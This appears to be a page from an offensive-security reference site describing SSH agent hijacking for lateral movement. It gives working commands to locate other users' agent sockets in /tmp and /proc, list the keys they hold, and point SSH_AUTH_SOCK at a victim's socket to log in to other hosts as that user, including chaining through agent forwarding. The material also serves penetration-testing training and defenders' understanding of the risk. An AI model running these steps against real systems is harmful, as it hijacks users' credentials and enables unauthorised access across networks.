# SSH Agent Hijacking for Lateral Movement

- **URL:** https://hackindex.io/services/ssh/lateral-movement/ssh-agent-hijacking
- **Path:** SSH > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/ssh/lateral-movement.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

SSH agent hijacking lets you authenticate to remote hosts using another user's loaded SSH keys: without ever seeing the private key itself. The agent holds decrypted keys in memory and handles authentication on request. If you can access a user's agent socket, you can authenticate as them to any host their keys are authorized for.

This works best when you have escalated to root or can access another user's processes. The agent socket belongs to the user who started it, but root can access any socket on the system.

## Finding Active Agent Sockets

Agent sockets are typically created in `/tmp` with a path like `/tmp/ssh-XXXXXX/agent.PID`.

```bash
find /tmp -name "agent.*" -type s 2>/dev/null
find /tmp /run -name "agent.*" 2>/dev/null
ls /tmp/ssh-*/
```

As root, you can see all sockets. As a regular user you only see your own unless permissions are misconfigured.

Also check running processes for the `SSH_AUTH_SOCK` variable: any process started in an SSH session with agent forwarding inherits it:

```bash
ps auxe | grep SSH_AUTH_SOCK
```

Or iterate `/proc` directly:

```bash
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | head -5
# /proc/1842/environ:...SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841...
```

## Identifying Keys Loaded in the Agent

Before hijacking, check what keys the agent holds:

```bash
SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841 ssh-add -l
# 2048 SHA256:abc123... /home/admin/.ssh/id_rsa (RSA)
# 4096 SHA256:def456... /root/.ssh/deploy_key (RSA)
```

Each listed key can be used to authenticate to hosts where that key is authorized.

## SSH Agent Hijacking via Socket Access

Set `SSH_AUTH_SOCK` to the target socket and connect:

```bash
export SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841
ssh $USER@$TARGET_IP
```

The SSH client will use the hijacked agent for authentication. No password, no key file needed.

To run a single command without a full session:

```bash
SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841 ssh $USER@$TARGET_IP "id"
```

## Agent Forwarding: Chained Access

If the compromised session has agent forwarding enabled (`-A` or `ForwardAgent yes` in config), the agent socket is forwarded to the remote host as well. This means from the compromised host you can chain further:

```bash
SSH_AUTH_SOCK=/tmp/ssh-XYZ123/agent.1841 ssh -A $USER@$TARGET_IP
```

Once connected to `$TARGET_IP`, the forwarded agent is available there too: check `$SSH_AUTH_SOCK` on the new host and continue the chain.

Agent forwarding is a significant risk from a defender's perspective and is why security guidance recommends against enabling it on untrusted hosts.

## Socket Permission Requirements

The agent socket is owned by the user who created it with mode `600` by default. Without root, you cannot access another user's socket unless permissions are misconfigured.

Check socket permissions:

```bash
ls -la /tmp/ssh-XYZ123/agent.1841
```

If it is readable by your group or world-readable, you can hijack it without root.

Conditions required for agent hijacking:

- An active SSH agent socket on the host
- Root access, or misconfigured socket permissions
- Keys loaded in the agent (verify with `ssh-add -l`)
- Target hosts that trust those loaded keys

## References

- [ssh-agent(1)](https://man.openbsd.org/ssh-agent.1) - OpenBSD manual page Reference for SSH agent operation, socket location, and the SSH_AUTH_SOCK environment variable.
- [ssh-add(1)](https://man.openbsd.org/ssh-add.1) - OpenBSD manual page Reference for listing and managing keys loaded in a running SSH agent.
- [ssh_config(5)](https://man.openbsd.org/ssh_config.5) - OpenBSD manual page ForwardAgent option documentation and security implications.